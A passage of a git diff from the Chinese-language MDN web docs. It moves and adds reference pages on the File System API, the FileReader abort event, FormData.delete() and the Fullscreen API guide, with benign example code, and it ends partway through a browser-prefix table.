FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Hidden behind a preference in 55+ Nightly. In about:config, you need to create two new boolean prefs — dom.fetchObserver.enabled and dom.fetchController.enabled — and set the values of both to true.

- -

See also

- - diff --git a/files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html b/files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html new file mode 100644 index 0000000000..e26a6b3c45 --- /dev/null +++ b/files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html @@ -0,0 +1,210 @@ +--- +title: 文件系统API的基本概念 +slug: WebGuide/API/File_System/Introduction +translation_of: Web/API/File_and_Directory_Entries_API/Introduction +--- +

本文是对Basic_Concepts_About_the_Filesystem_API一文的译文。

+ +

文件系统API(File System API)模拟网络应用程序可以导航到的本地文件系统。你可以开发应用在一个沙盒的虚拟文件系统中读、写、创建以及索引文件。

+ +

该文件系统API与其他相关的API交互。它基于文件写入API(File Writer API),而后者又基于文件API(File API)。每一个API都具有不同的功能。这些API对于网络应用而言是一个巨大的进化飞跃,使得它们能够缓存和处理大量级的数据。

+ +

关于这篇文档

+ +

这篇介绍讨论了文件系统API中的基本概念和术语。它将给出一个大致的蓝图并引导你理解其中的 关键概念. 它也描述了一些限制,如果你忽略了它们将额能产生安全错误。关于该API中使用的更多术语,查看定义部分. 

+ +

关于文件系统API的引用文献部分,查看引用 的登陆页及其子页.

+ +

该规范仍然在定义中并可能会变更.

+ +

概要

+ +

文件系统API包括异步同步两种接口。异步API可以应用于当你不想操作锁定UI的情况。另一方面,同步API允许简单的程序模型,但它必须和WebWorkers一起使用

+ +

该API的用途

+ +

文件系统API的重要性体现在以下方面:

+ +
    +
  • 它允许应用拥有涉及二进制大对象(blob)的线下和存储的特性。
  • +
  • 它能通过在后台预取资源并本地缓存从而优化应用的表现。
  • +
  • 它使你网络应用的用户能够直接编辑本地文件目录中的二进制文件。
  • +
  • 它提供了一种你的用户已经熟悉的存储API,正如他们所习惯的文件系统。
  • +
+ +

关于你用该api能够创建的特性示例,查看 使用示例 部分.  

+ +

文件系统API和其他存储API

+ +

文件系统API是一些其他存储API,例如 IndexedDB, WebSQL(已于2010年9月18日起弃用),以及AppCache等的替代品。该API对于那些处理blob的应用而言是一种更好的选择,因为:

+ +
    +
  • 文件系统API提供客户端存储以应对不在数据库中存储的应用场景。如果你需要大型可变的数据块,比数据库而言它就是一种更有效率的存储解决方案。
  • +
  • 尽 管Firefox支持IndexedDB的blob存储,但是目前Chrome并非如此(Chrome仍然在对IndexedDB的blob存储做实现支 持开发中)。如果你的应用面向Chrome并且你需要存储blobs, 那么文件系统API和App Cache将是你唯一的选择。然而,AppCache存储并不是本地可变的,并且不支持细粒度的客户端管理。
  • +
  • 在Chrome中,你可以使用文件系统API和配额管理API Quota Management API, 后者允许你请求更多的存储以及管理你的存储配额。
  • +
+ +

示例使用场景

+ +

下面是关于你可以如何使用文件系统API的几个示例:

+ +
    +
  • 有上传器的应用 +
      +
    • 当你选择一个文件或目录进行上传时,你可以赋值文件到一个本地沙盒并一次上传一个块。
    • +
    • 应用可以在一次中断后重新上传,中断可能包括浏览器被关闭或崩溃,连接中断,或电脑被关闭。
    • +
    +
  • +
  • 视频游戏或其他使用大量媒体资源的应用 +
      +
    • 应用下载一个或多个大压缩包并在本地将他们解压到一个文件目录中。
    • +
    • 应用能在后台预取资源,从而让用户能够进入下一项工作或游戏等级,而不需要等待下载。
    • +
    +
  • +
  • 音频或照片编辑器使用线下访问或本地缓存(有助于表现和速度) +
      +
    • 应用可以分段写入文件(例如只覆盖ID3/EXIF标签而不是整个文件)。
    • +
    +
  • +
  • 线下视频浏览 +
      +
    • 应用可以下载大文件(>1GB)用于以后浏览。
    • +
    • 应用可以访问只下载了部分的文件(因此你可以查看你的DVD的第一章,即使应用仍在下载剩余部分,或者当你需要取赶火车而没有完成下载时)。
    • +
    +
  • +
  • 线下网络邮件客户端 +
      +
    • 客户端下载附件并在本地存储它们。
    • +
    • 客户端缓存附件用于稍后的上传。
    • +
    +
  • +
+ +

主要概念

+ +

在开始使用文件系统API之前,你需要理解几个概念:

+ + + +

文件系统API是一个文件系统的虚拟表现形式

+ +

该API不会使你能够访问本地文件系统,该沙盒也并不是文件系统的一部分。相反,它是一个虚拟的文件系统,对于网络应用而言它就像是一个成熟的文件系统。它不需要在浏览器之外与本地文件系统产生任何关系。

+ +

这 就意味着,一个网络应用和一个桌面应用不能在同时共享同一个文件。该API不能使你的网络应用脱离浏览器接触到文件,而桌面应用可以。然而,你可以从一个 网络应用中导出一个文件到桌面应用。例如,你可以使用文件API,创建blob, 重定向一个iframe指向该blob, 并调用下载管理器。

+ +

文件系统API可以使用不同的存储类型

+ +

一个应用可能需要临时或固定的存储。临时存储相对容易获得,因为浏览器已经提供了;但它是受到限制并可能在空间耗尽时被浏览器删除。另一方面,固定存储可以为你提供更大的空间并只能被用户删除,但它需要用户获得你的许可。

+ +

使用临时存储进行缓存,而用固定存储来保存那些你希望你的应用保存的类似用户产生的或独特的数据。

+ +

浏览器限定存储的配额

+ +

为了防止一个网络应用占用整个磁盘,浏览器可能会给每一个应用限定配额并分配存储。

+ +

存储空间如何分配以及你可以如何管理存储是浏览器的特性,因此你需要查阅浏览器各自的文档。例如,Google Chrome在规范中允许超过5MB的临时存储并支持配额管理API. 了解更多关于Chrome的实现,查看管理HTML5线下存储.

+ +

文件系统API拥有异步和同步两种版本

+ +

文件系统API拥有异步和同步两种版本。两种版本的API提供相同的功能和特性。事实上,它们基本相同,除了几个不同点以外。

+ +
    +
  • WebWorkers. 异步的API可以在文档或WebWorkers 上下文中使用, 而同步API只能用于WebWorkers. 
  • +
  • Callbacks. 异步API不会将数据作为返回值;作为替代,你需要传递一个回调函数。你在操作中发送请求,并在回调时得到通知。相反,同步API不使用回调函数,因为API方法返回值。
  • +
  • 异步和同步API的全局方法. 异步API拥有这些全局方法:requestFileSystem()resolveLocalFileSystemURL(). 这些方法同时是window对象和worker全局作用域的成员。另一方面,同步API使用如下方法:requestFileSystemSync()resolveLocalFileSystemSyncURL(). 这些同步方法只是worker全局作用域的成员,而非window对象的。
  • +
+ +

对于一些任务而言同步API可能更简单一些。它直接的,顺序编程的模块可以让代码更易于阅读。其缺点在于它必须与Web Worker交互,而后者有一些限制。

+ +

当使用异步API时,务必使用错误回调

+ +

当使用异步API时,务必总是使用错误回调。虽然对于相关的方法而言错误回调是可选参数,但是明智的做法是把它们当成必选的。至少,通过处理错误得到的错误信息,你可以知道发生了什么。

+ +

文件系统API与其他API交互

+ +

文件系统API被设计用于在网络平台上与其他API以及元素交互。例如,你可能使用到如下内容之一:

+ +
    +
  • XMLHttpRequest(例如传递file和blob对象的send()方法)
  • +
  • Drag & Drop API
  • +
  • Web Workers (对于同步版的文件系统API)
  • +
  • input 元素(用于从该元素编程得到文件列表)
  • +
+ +

文件系统API区分大小写

+ +
文件系统API区分大小写并保留大小写。
+ +

 

+ +

限制

+ +

出于安全的原因,浏览器对于文件的访问施加了一些限制。如果你忽略它们,将会产生安全错误。

+ + + +

文件系统API坚持同源策略

+ +

一个源是脚本执行的文档的URL的域,应用层协议和端口。每一个源拥有它自己关联的一组文件系统

+ +

文件系统上作出的安全限定阻止应用访问不同源的数据。这保护了私有数据以防被访问或删除。例如,当一个应用或页面在http://www.example.com/app/上时,它能访问位于http://www.example.com/dir/上的文件,因为它们拥有相同的源,它不能得到位于http://www.example.com:8080/dir/ (不同端口)或https://www.example.com/dir/ (不同协议)上的文件。

+ +

文件系统API不允许创建或重命名可执行文件

+ +

为防止恶意的应用运行可执行文件,你不能在文件系统API的沙盒中创建可执行文件。

+ +

文件系统是沙盒的

+ +

因为文件系统是沙盒的,一个网络应用不能访问另一个应用的文件。你也不能读写用户硬盘中任意文件夹中的文件。

+ +

不能通过file://来运行你的应用

+ +

你不能在本地通过file://来运行你的应用。如果你那么做了,浏览器将抛出错误,或者你的应用会静默地失败。这一限制也同样针对许多其他的文件API,包括BlobBuilder和FileReader。

+ +

出于测试的目的,你可以在Chrome中通过在启动时添加--allow-file-access-from-files参数来绕开这一限制,这一参数仅用于这个目的。

+ +

定义

+ +

这一部分定义和解释了文件系统API中使用的术语.

+ +
+
blob
+
代表二进制大对象。一个blob是存储在单一对象中的一组二进制数据。这是在网络应用中引用二进制数据的通用方法。一个blob可以是一个图片或音频文件。
+
Blob
+
Blob(以大写B开头的)是一个不可变的数据结构,这意味着一个blob引用的二进制数据不能被直接修改。这使得当Blobs传入到异步API时它们的行为将是可预见的。
+
persistent storage | 固定存储
+
固定存储是一种在浏览器中长期存在的的存储,除非用户永久删除它或应用删除它。
+
temporary storage | 临时存储
+
临时存储是任何网络应用都拥有的。它是自动而不需要请求的,但浏览器可以没有任何警告地删除这些存储。
+
+ +

其他

+ +

规范:http://dev.w3.org/2009/dap/file-system/pub/FileSystem/

+ +

引用: File System API Reference

+ +

相关文档:

+ + diff --git a/files/zh-cn/web/api/filereader/abort_event/index.html b/files/zh-cn/web/api/filereader/abort_event/index.html new file mode 100644 index 0000000000..8e36dbb3dd --- /dev/null +++ b/files/zh-cn/web/api/filereader/abort_event/index.html @@ -0,0 +1,175 @@ +--- +title: 'FileReader: 中止事件(abort)' +slug: Web/API/FileReader/中止事件(abort) +tags: + - API + - FileReader + - ProgressEvent + - Reference + - Web + - abort + - 中止 + - 事件 +translation_of: Web/API/FileReader/abort_event +--- +
{{APIRef}}
+ +

在中止读取时会触发 abort 事件: 例如程序调用{{domxref("FileReader.abort()")}}.

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
可取消No
接口{{domxref("ProgressEvent")}}
事件处理属性{{domxref("FileReader.onabort")}}
+ +

例子

+ +

实例

+ +

HTML

+ +
<div class="example">
+
+    <div class="file-select">
+        <label for="avatar">选择你的头像:</label>
+        <input type="file"
+               id="avatar" name="avatar"
+               accept="image/png, image/jpeg">
+    </div>
+
+    <img src="" class="preview" height="200" alt="图像预览...">
+
+    <div class="event-log">
+        <label>事件日志:</label>
+        <textarea readonly class="event-log-contents"></textarea>
+    </div>
+
+  </div>
+ + + +

JS

+ +
const fileInput = document.querySelector('input[type="file"]');
+const preview = document.querySelector('img.preview');
+const eventLog = document.querySelector('.event-log-contents');
+const reader = new FileReader();
+
+function handleEvent(event) {
+    eventLog.textContent = eventLog.textContent + `${event.type}: ${event.loaded} bytes transferred\n`;
+
+    if (event.type === "load") {
+        preview.src = reader.result;
+    }
+}
+
+function addListeners(reader) {
+    reader.addEventListener('loadstart', handleEvent);
+    reader.addEventListener('load', handleEvent);
+    reader.addEventListener('loadend', handleEvent);
+    reader.addEventListener('progress', handleEvent);
+    reader.addEventListener('error', handleEvent);
+    reader.addEventListener('abort', handleEvent);
+}
+
+function handleSelected(e) {
+    eventLog.textContent = '';
+    const selectedFile = fileInput.files[0];
+    if (selectedFile) {
+        addListeners(reader);
+        reader.readAsDataURL(selectedFile);
+    }
+    reader.abort();
+}
+
+fileInput.addEventListener('change', handleSelected);返回返回发的
+
+ +

返回结果

+ +

{{ EmbedLiveSample('Live_example', '100%', '300px') }}

+ +

参数

+ + + + + + + + + + + + + + +
参数状态
{{SpecName('File API', '#dfn-abort-event')}}{{Spec2('File API')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.FileReader.abort_event")}}

+ +

另请参见

+ +
    +
  • 相关事件: {{domxref("FileReader.loadstart_event", "loadstart")}}, {{domxref("FileReader.loadend_event", "loadend")}}, {{domxref("FileReader.progress_event", "progress")}}, {{domxref("FileReader.error_event", "error")}}, {{domxref("FileReader.load_event", "load")}}.
  • +
diff --git "a/files/zh-cn/web/api/filereader/\344\270\255\346\255\242\344\272\213\344\273\266(abort)/index.html" "b/files/zh-cn/web/api/filereader/\344\270\255\346\255\242\344\272\213\344\273\266(abort)/index.html" deleted file mode 100644 index 8e36dbb3dd..0000000000 --- "a/files/zh-cn/web/api/filereader/\344\270\255\346\255\242\344\272\213\344\273\266(abort)/index.html" +++ /dev/null @@ -1,175 +0,0 @@ ---- -title: 'FileReader: 中止事件(abort)' -slug: Web/API/FileReader/中止事件(abort) -tags: - - API - - FileReader - - ProgressEvent - - Reference - - Web - - abort - - 中止 - - 事件 -translation_of: Web/API/FileReader/abort_event ---- -
{{APIRef}}
- -

在中止读取时会触发 abort 事件: 例如程序调用{{domxref("FileReader.abort()")}}.

- - - - - - - - - - - - - - - - - - - - -
BubblesNo
可取消No
接口{{domxref("ProgressEvent")}}
事件处理属性{{domxref("FileReader.onabort")}}
- -

例子

- -

实例

- -

HTML

- -
<div class="example">
-
-    <div class="file-select">
-        <label for="avatar">选择你的头像:</label>
-        <input type="file"
-               id="avatar" name="avatar"
-               accept="image/png, image/jpeg">
-    </div>
-
-    <img src="" class="preview" height="200" alt="图像预览...">
-
-    <div class="event-log">
-        <label>事件日志:</label>
-        <textarea readonly class="event-log-contents"></textarea>
-    </div>
-
-  </div>
- - - -

JS

- -
const fileInput = document.querySelector('input[type="file"]');
-const preview = document.querySelector('img.preview');
-const eventLog = document.querySelector('.event-log-contents');
-const reader = new FileReader();
-
-function handleEvent(event) {
-    eventLog.textContent = eventLog.textContent + `${event.type}: ${event.loaded} bytes transferred\n`;
-
-    if (event.type === "load") {
-        preview.src = reader.result;
-    }
-}
-
-function addListeners(reader) {
-    reader.addEventListener('loadstart', handleEvent);
-    reader.addEventListener('load', handleEvent);
-    reader.addEventListener('loadend', handleEvent);
-    reader.addEventListener('progress', handleEvent);
-    reader.addEventListener('error', handleEvent);
-    reader.addEventListener('abort', handleEvent);
-}
-
-function handleSelected(e) {
-    eventLog.textContent = '';
-    const selectedFile = fileInput.files[0];
-    if (selectedFile) {
-        addListeners(reader);
-        reader.readAsDataURL(selectedFile);
-    }
-    reader.abort();
-}
-
-fileInput.addEventListener('change', handleSelected);返回返回发的
-
- -

返回结果

- -

{{ EmbedLiveSample('Live_example', '100%', '300px') }}

- -

参数

- - - - - - - - - - - - - - -
参数状态
{{SpecName('File API', '#dfn-abort-event')}}{{Spec2('File API')}}
- -

浏览器兼容性

- - - -

{{Compat("api.FileReader.abort_event")}}

- -

另请参见

- -
    -
  • 相关事件: {{domxref("FileReader.loadstart_event", "loadstart")}}, {{domxref("FileReader.loadend_event", "loadend")}}, {{domxref("FileReader.progress_event", "progress")}}, {{domxref("FileReader.error_event", "error")}}, {{domxref("FileReader.load_event", "load")}}.
  • -
diff --git a/files/zh-cn/web/api/formdata/delete/index.html b/files/zh-cn/web/api/formdata/delete/index.html new file mode 100644 index 0000000000..9d38b4e20a --- /dev/null +++ b/files/zh-cn/web/api/formdata/delete/index.html @@ -0,0 +1,71 @@ +--- +title: FormData.delete() +slug: Web/API/FormData/删除 +tags: + - 删除 +translation_of: Web/API/FormData/delete +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}} 接口的 delete() 方法会从 FormData 对象中删除指定键,即 key,和它对应的值,即 value。

+ +
+

Note: 此方法可用于 Web Workers

+
+ +

语法

+ +
formData.delete(name);
+ +

参数

+ +
+
name
+
要删除的键(Key)的名字。
+
+ +

返回

+ +

空。

+ +

例子

+ +

以下代码将会创建一个空的 FormData 对象, 并且从指定的表单中获取键值对:

+ +
var formData = new FormData(myForm);
+ +

你可以通过 delete() 方法来删除键值对:

+ +
formData.delete('username');
+ +

规范

+ + + + + + + + + + + + + + +
说明状态备注
{{SpecName('XMLHttpRequest','#dom-formdata-delete','delete()')}}{{Spec2('XMLHttpRequest')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.FormData.delete")}}

+ +

参见

+ + diff --git "a/files/zh-cn/web/api/formdata/\345\210\240\351\231\244/index.html" "b/files/zh-cn/web/api/formdata/\345\210\240\351\231\244/index.html" deleted file mode 100644 index 9d38b4e20a..0000000000 --- "a/files/zh-cn/web/api/formdata/\345\210\240\351\231\244/index.html" +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: FormData.delete() -slug: Web/API/FormData/删除 -tags: - - 删除 -translation_of: Web/API/FormData/delete ---- -

{{APIRef("XMLHttpRequest")}}

- -

{{domxref("FormData")}} 接口的 delete() 方法会从 FormData 对象中删除指定键,即 key,和它对应的值,即 value。

- -
-

Note: 此方法可用于 Web Workers

-
- -

语法

- -
formData.delete(name);
- -

参数

- -
-
name
-
要删除的键(Key)的名字。
-
- -

返回

- -

空。

- -

例子

- -

以下代码将会创建一个空的 FormData 对象, 并且从指定的表单中获取键值对:

- -
var formData = new FormData(myForm);
- -

你可以通过 delete() 方法来删除键值对:

- -
formData.delete('username');
- -

规范

- - - - - - - - - - - - - - -
说明状态备注
{{SpecName('XMLHttpRequest','#dom-formdata-delete','delete()')}}{{Spec2('XMLHttpRequest')}} 
- -

浏览器兼容性

- - - -

{{Compat("api.FormData.delete")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/fullscreen_api/guide/index.html b/files/zh-cn/web/api/fullscreen_api/guide/index.html new file mode 100644 index 0000000000..b2d2d36f3a --- /dev/null +++ b/files/zh-cn/web/api/fullscreen_api/guide/index.html @@ -0,0 +1,235 @@ +--- +title: 全屏指南 +slug: Web/API/Fullscreen_API/指南 +tags: + - API + - 全屏 + - 全屏 API + - 图像 + - 屏幕 + - 展示 + - 指南 + - 显示 + - 游戏 +translation_of: Web/API/Fullscreen_API/Guide +--- +
{{DefaultAPISidebar("Fullscreen API")}}
+ +

本文主要说明如何使用全屏API将给定元素设置为全屏模式,以及如何检测浏览器何时进入或退出全屏模式。

+ +

激活全屏模式

+ +

对于一个你想要以全屏模式展示的元素(例如 {{ HTMLElement("video") }}),你通过调用它的 {{ domxref("Element.requestFullscreen()") }} 方法就能简单地激活它的全屏模式。

+ +

我们来看看 {{HTMLElement("video")}} 这个元素:

+ +
<video controls id="myvideo">
+  <source src="somevideo.webm"></source>
+  <source src="somevideo.mp4"></source>
+</video>
+
+ +

我们可以用下面的代码让视频进入全屏模式:

+ +
var elem = document.getElementById("myvideo");
+if (elem.requestFullscreen) {
+  elem.requestFullscreen();
+}
+ +

这段代码会在调用 requestFullscreen() 方法之前先检验它是否存在。

+ +

显示差异

+ +

值得留意的是,目前 Gecko 和 WebKit 的实现之间的关键差异:Gecko 自动为元素添加了CSS规则,使其拉伸以填满屏幕: "width: 100%; height: 100%"。WebKit 没有这样做,相反地,它将全屏元素居中,不改变大小,而屏幕的其他部分为黑色。为了在 Webkit 中获得相同的全屏行为,你需要自行为元素添加 CSS "width: 100%; height: 100%;":

+ +
#myvideo:-webkit-full-screen {
+  width: 100%;
+  height: 100%;
+}
+
+ +

另一方面, 如果你尝试在在 Gecko 上模拟 WebKit 的行为,你需要把你想要呈现的元素放在另一个实际调整为全屏幕的元素中, 并使用 CSS 规则调整内部的元素,从而达到你想要的样式。

+ +

通知

+ +

当成功进入全屏模式时,包含该元素的文档会收到一个 {{Event("fullscreenchange")}} 事件。当退出全屏模式时,文档会再一次收到 {{Event("fullscreenchange")}} 事件。注意此 {{Event("fullscreenchange")}} 事件,不管在文档进入和退出全屏模式时,都不会提供任何信息,但如果文档的 {{DOMxRef("document.fullscreenElement", "fullscreenElement")}} 为非空(`null`),即处于全屏模式中。

+ +

当全屏请求失败时

+ +

你并不总是可以进入全屏模式。例如 {{HTMLElement("iframe")}} 元素具有 {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性,可选择是否将其内容以全屏模式显示。另外,几种特定的内容,比如窗体插件(windowed plug-ins),不能以全屏模式显示。尝试将不能以全屏模式显示的元素(或者此元素的父元素和后代元素)的时候,全屏请求是无效的。而相应元素会收到一个 mozfullscreenerror 事件。当全屏请求失败时,Firefox 会在 Web 控制台上打一条错误信息解释请求为什么失败。但是在 Chrome 和新版的 Opera 中,不会生成这样的警告。

+ +
+

注意:全屏请求必须在事件处理函数中调用,否则将会被拒绝。 

+
+ +

退出全屏模式

+ +

 

+ +

用户总是可以自行退出全屏模式;详见 {{Anch("Things your users want to know")}}。你也可以以编程方式通过调用 {{DOMxRef("Document.exitFullscreen()")}} 方法来做到这点。

+ +

其他信息

+ +

{{DOMxRef("Document")}} 提供了一些额外的信息, 在开发全屏网络应用时会很有用:

+ +
+
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}
+
fullscreenElement 属性可以告诉你当前以全屏模式显示的元素 {{DOMxRef("Element")}} 。若此项非空,文档处于全屏模式中,否则不在。
+
{{DOMxRef("Document.fullscreenEnabled")}}
+
fullscreenEnabled 属性可以告诉你文档当前是否为允许请求进入全屏幕模式的状态。
+
+ +

你的用户想了解的信息

+ +

你可能想确保使你的用户得知他可以按 ESC  键(或 F11) 退出全屏模式。

+ +

此外,当处在全屏模式中,浏览其他页面、切换标签页、或者切换到其他应用 (例如使用 Alt-Tab)  也会导致退出全屏模式。

+ +

示例

+ +

在这个例子中,网页中显示了一个视频。按下 Return 或 Enter 键让用户在视频的窗口显示和全屏显示之间切换。

+ +

View Live Examples

+ +

监听 Enter 键

+ +

当页面加载完成时,这段代码可以设置一个事件监听器以监听 Enter 键。

+ +
document.addEventListener("keydown", function(e) {
+  if (e.keyCode == 13) {
+    toggleFullScreen();
+  }
+}, false);
+
+ +

切换全屏模式

+ +

当用户按下 Enter 键时,这段代码会被调用,像上面示例看到的那样。

+ +
function toggleFullScreen() {
+  if (!document.fullscreenElement) {
+    document.documentElement.requestFullscreen();
+  } else {
+    if (document.exitFullscreen) {
+      document.exitFullscreen();
+    }
+  }
+}
+ +

这段代码首先检查 {{DOMxRef("document")}} 的fullscreenElement 属性的值(亦要检查带有前缀 mozmswebkit)。如果其为 null,文档当前处于窗口模式中,所以我们需要切换到全屏模式。通过调用{{DOMxRef("element.requestFullscreen()")}},可以切换到全屏模式。

+ +

如果全屏模式已经激活 (fullscreenElement 不为 null),我们可以调用 {{DOMxRef("document.exitFullscreen()")}}(或其前缀化的版本,这取决于你使用的浏览器)。

+ +

前缀

+ +
+

注意:现在,只有 Firefox 64 和 Chrome 71 支持无前缀。

+
+ +

目前并不是所有的浏览器都实现了 API 的无前缀版本(你可以使用 Fscreen 获取跨浏览器全屏API),这里有一份表格总结了前缀和它们之间的命名区别:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StandardWebKit (Safari) / Blink (Chrome & Opera) / EdgeGecko (Firefox)Internet Explorer
{{DOMxRef("Document.fullscreen")}} {{Deprecated_Inline}}webkitIsFullScreenmozFullScreen-
{{DOMxRef("Document.fullscreenEnabled")}}webkitFullscreenEnabledmozFullScreenEnabledmsFullscreenEnabled
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}webkitFullscreenElementmozFullScreenElementmsFullscreenElement
{{DOMxRef("Document.onfullscreenchange")}}onwebkitfullscreenchangeonmozfullscreenchangeonMSFullscreenChange
{{DOMxRef("Document.onfullscreenerror")}}onwebkitfullscreenerroronmozfullscreenerroronMSFullscreenError
{{DOMxRef("Document.exitFullscreen()")}}webkitExitFullscreen()mozCancelFullScreen()msExitFullscreen()
{{DOMxRef("Element.requestFullscreen()")}}webkitRequestFullscreen()mozRequestFullScreen()msRequestFullscreen()
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}初始版本
+ +

浏览器兼容性

+ +

Document.fullscreen

+ +
+ + +

{{Compat("api.Document.fullscreen")}}

+ +

Document.fullscreenEnabled

+ +
+ + +

{{Compat("api.Document.fullscreenEnabled")}}

+
+
+ +

扩展链接

+ +
    +
  • 全屏 API 
  • +
  • {{DOMxRef("Element.requestFullscreen()")}}
  • +
  • {{DOMxRef("Document.exitFullscreen()")}}
  • +
  • {{DOMxRef("Document.fullscreen")}}
  • +
  • {{DOMxRef("Document.fullscreenElement")}}
  • +
  • {{CSSxRef(":fullscreen")}}, {{CSSxRef("::backdrop")}}
  • +
  • {{HTMLAttrXRef("allowfullscreen", "iframe")}}
  • +
+ +

 

diff --git "a/files/zh-cn/web/api/fullscreen_api/\346\214\207\345\215\227/index.html" "b/files/zh-cn/web/api/fullscreen_api/\346\214\207\345\215\227/index.html" deleted file mode 100644 index b2d2d36f3a..0000000000 --- "a/files/zh-cn/web/api/fullscreen_api/\346\214\207\345\215\227/index.html" +++ /dev/null @@ -1,235 +0,0 @@ ---- -title: 全屏指南 -slug: Web/API/Fullscreen_API/指南 -tags: - - API - - 全屏 - - 全屏 API - - 图像 - - 屏幕 - - 展示 - - 指南 - - 显示 - - 游戏 -translation_of: Web/API/Fullscreen_API/Guide ---- -
{{DefaultAPISidebar("Fullscreen API")}}
- -

本文主要说明如何使用全屏API将给定元素设置为全屏模式,以及如何检测浏览器何时进入或退出全屏模式。

- -

激活全屏模式

- -

对于一个你想要以全屏模式展示的元素(例如 {{ HTMLElement("video") }}),你通过调用它的 {{ domxref("Element.requestFullscreen()") }} 方法就能简单地激活它的全屏模式。

- -

我们来看看 {{HTMLElement("video")}} 这个元素:

- -
<video controls id="myvideo">
-  <source src="somevideo.webm"></source>
-  <source src="somevideo.mp4"></source>
-</video>
-
- -

我们可以用下面的代码让视频进入全屏模式:

- -
var elem = document.getElementById("myvideo");
-if (elem.requestFullscreen) {
-  elem.requestFullscreen();
-}
- -

这段代码会在调用 requestFullscreen() 方法之前先检验它是否存在。

- -

显示差异

- -

值得留意的是,目前 Gecko 和 WebKit 的实现之间的关键差异:Gecko 自动为元素添加了CSS规则,使其拉伸以填满屏幕: "width: 100%; height: 100%"。WebKit 没有这样做,相反地,它将全屏元素居中,不改变大小,而屏幕的其他部分为黑色。为了在 Webkit 中获得相同的全屏行为,你需要自行为元素添加 CSS "width: 100%; height: 100%;":

- -
#myvideo:-webkit-full-screen {
-  width: 100%;
-  height: 100%;
-}
-
- -

另一方面, 如果你尝试在在 Gecko 上模拟 WebKit 的行为,你需要把你想要呈现的元素放在另一个实际调整为全屏幕的元素中, 并使用 CSS 规则调整内部的元素,从而达到你想要的样式。

- -

通知

- -

当成功进入全屏模式时,包含该元素的文档会收到一个 {{Event("fullscreenchange")}} 事件。当退出全屏模式时,文档会再一次收到 {{Event("fullscreenchange")}} 事件。注意此 {{Event("fullscreenchange")}} 事件,不管在文档进入和退出全屏模式时,都不会提供任何信息,但如果文档的 {{DOMxRef("document.fullscreenElement", "fullscreenElement")}} 为非空(`null`),即处于全屏模式中。

- -

当全屏请求失败时

- -

你并不总是可以进入全屏模式。例如 {{HTMLElement("iframe")}} 元素具有 {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性,可选择是否将其内容以全屏模式显示。另外,几种特定的内容,比如窗体插件(windowed plug-ins),不能以全屏模式显示。尝试将不能以全屏模式显示的元素(或者此元素的父元素和后代元素)的时候,全屏请求是无效的。而相应元素会收到一个 mozfullscreenerror 事件。当全屏请求失败时,Firefox 会在 Web 控制台上打一条错误信息解释请求为什么失败。但是在 Chrome 和新版的 Opera 中,不会生成这样的警告。

- -
-

注意:全屏请求必须在事件处理函数中调用,否则将会被拒绝。 

-
- -

退出全屏模式

- -

 

- -

用户总是可以自行退出全屏模式;详见 {{Anch("Things your users want to know")}}。你也可以以编程方式通过调用 {{DOMxRef("Document.exitFullscreen()")}} 方法来做到这点。

- -

其他信息

- -

{{DOMxRef("Document")}} 提供了一些额外的信息, 在开发全屏网络应用时会很有用:

- -
-
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}
-
fullscreenElement 属性可以告诉你当前以全屏模式显示的元素 {{DOMxRef("Element")}} 。若此项非空,文档处于全屏模式中,否则不在。
-
{{DOMxRef("Document.fullscreenEnabled")}}
-
fullscreenEnabled 属性可以告诉你文档当前是否为允许请求进入全屏幕模式的状态。
-
- -

你的用户想了解的信息

- -

你可能想确保使你的用户得知他可以按 ESC  键(或 F11) 退出全屏模式。

- -

此外,当处在全屏模式中,浏览其他页面、切换标签页、或者切换到其他应用 (例如使用 Alt-Tab)  也会导致退出全屏模式。

- -

示例

- -

在这个例子中,网页中显示了一个视频。按下 Return 或 Enter 键让用户在视频的窗口显示和全屏显示之间切换。

- -

View Live Examples

- -

监听 Enter 键

- -

当页面加载完成时,这段代码可以设置一个事件监听器以监听 Enter 键。

- -
document.addEventListener("keydown", function(e) {
-  if (e.keyCode == 13) {
-    toggleFullScreen();
-  }
-}, false);
-
- -

切换全屏模式

- -

当用户按下 Enter 键时,这段代码会被调用,像上面示例看到的那样。

- -
function toggleFullScreen() {
-  if (!document.fullscreenElement) {
-    document.documentElement.requestFullscreen();
-  } else {
-    if (document.exitFullscreen) {
-      document.exitFullscreen();
-    }
-  }
-}
- -

这段代码首先检查 {{DOMxRef("document")}} 的fullscreenElement 属性的值(亦要检查带有前缀 mozmswebkit)。如果其为 null,文档当前处于窗口模式中,所以我们需要切换到全屏模式。通过调用{{DOMxRef("element.requestFullscreen()")}},可以切换到全屏模式。

- -

如果全屏模式已经激活 (fullscreenElement 不为 null),我们可以调用 {{DOMxRef("document.exitFullscreen()")}}(或其前缀化的版本,这取决于你使用的浏览器)。

- -

前缀

- -
-

注意:现在,只有 Firefox 64 和 Chrome 71 支持无前缀。

-
- -

目前并不是所有的浏览器都实现了 API 的无前缀版本(你可以使用 Fscreen 获取跨浏览器全屏API),这里有一份表格总结了前缀和它们之间的命名区别:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
StandardWebKit (Safari) / Blink (Chrome & Opera) / EdgeGecko (Firefox)Internet Explorer
{{DOMxRef("Document.fullscreen")}} {{Deprecated_Inline}}webkitIsFullScreenmozFullScreen-
